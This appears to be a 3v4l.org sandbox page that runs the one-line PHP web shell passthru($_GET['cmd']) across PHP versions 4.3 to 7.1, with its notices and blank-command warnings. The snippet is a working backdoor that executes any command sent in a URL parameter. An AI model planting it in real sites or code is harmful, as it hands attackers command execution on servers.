3v4l.org

run code in 150+ php & hhvm versions
Bugs & Features
<?php passthru($_GET['cmd']); ?>
Output for 5.3.0 - 7.1.0
Notice: Undefined index: cmd in /in/dgaX0 on line 2 Warning: passthru(): Cannot execute a blank command in /in/dgaX0 on line 2
Output for 4.3.2 - 5.2.17
Notice: Undefined index: cmd in /in/dgaX0 on line 2 Warning: passthru(): Cannot execute a blank command in /in/dgaX0 on line 2
Output for 4.3.0 - 4.3.1
Notice: Undefined index: cmd in /in/dgaX0 on line 2 Warning: passthru() [http://www.php.net/function.passthru]: Cannot execute a blank command in /in/dgaX0 on line 2